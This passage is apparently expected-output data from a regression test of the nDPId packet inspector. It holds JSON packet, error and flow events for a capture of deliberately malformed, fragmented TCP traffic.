-00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":905,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":906,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025309294} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":906,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":907,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025309306} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":907,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":908,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025309318} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":908,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":909,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025309330} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":909,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":910,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025309341} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":910,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":911,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025309356} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":911,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":912,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025309368} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":912,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":913,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025309381} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":913,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":914,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025309393} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":914,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":915,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025309405} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":915,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":916,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025309417} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":916,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":917,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025309429} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":917,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAl4mKigpKComXiUkI0AjJCU="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":918,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025309441} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":918,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":919,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025309453} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":919,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSEAGQ2kKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":920,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025309464} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":920,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiSkAGQ2cKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":921,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025309476} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":921,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTEAGQ2UKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":922,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025309488} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":922,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiTkAGQ2MKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":923,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025309502} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":923,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUEAGQ2EKAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":924,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025309515} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":924,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiUkAGQ18KAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":925,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025309527} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":925,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVEAGQ10KAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":926,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025309539} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":926,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiVkAGQ1sKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":927,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025309550} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":927,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWEAGQ1kKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":928,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025309562} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":928,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiWkAGQ1cKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":929,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025309574} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":929,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXEAGQ1UKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":930,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025309586} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":930,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiXkAGQ1MKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":931,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025309598} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":931,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYEAGQ1EKAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":932,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025309618} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":932,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":933,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025309631} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":933,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":934,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025309643} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":934,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":935,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025309655} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":935,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":936,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025309666} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":936,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":937,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025309679} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":937,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":938,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025309690} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":938,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":939,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":42,"expected":54,"global_ts_usec":1534244025309702} -00344{"packet_event_id":1,"packet_event_name":"packet","packet_id":939,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":42,"pkt_l4_len":8,"thread_ts_usec":1534244025305644,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAikoKiZeJSQj"} 00763{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":940,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":4,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1534244025609837,"flow_src_last_pkt_time":1534244025609837,"flow_dst_last_pkt_time":1534244025609837,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":8,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":8,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":8,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1534244025609837,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":16417,"dst_port":16419,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00523{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":940,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":1,"flow_src_last_pkt_time":1534244025609837,"flow_dst_last_pkt_time":1534244025609837,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAkAhQCMkJV4mKigpKComXiUNOgAA"} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":941,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025609868} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":941,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":942,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025609874} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":942,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":943,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025609879} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":943,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":944,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025609884} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":944,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":945,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025609889} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":945,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":946,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025609894} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":946,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":947,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025609899} -00357{"packet_event_id":1,"packet_event_name":"packet","packet_id":947,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244025609837,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} -00222{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":948,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244025609933} 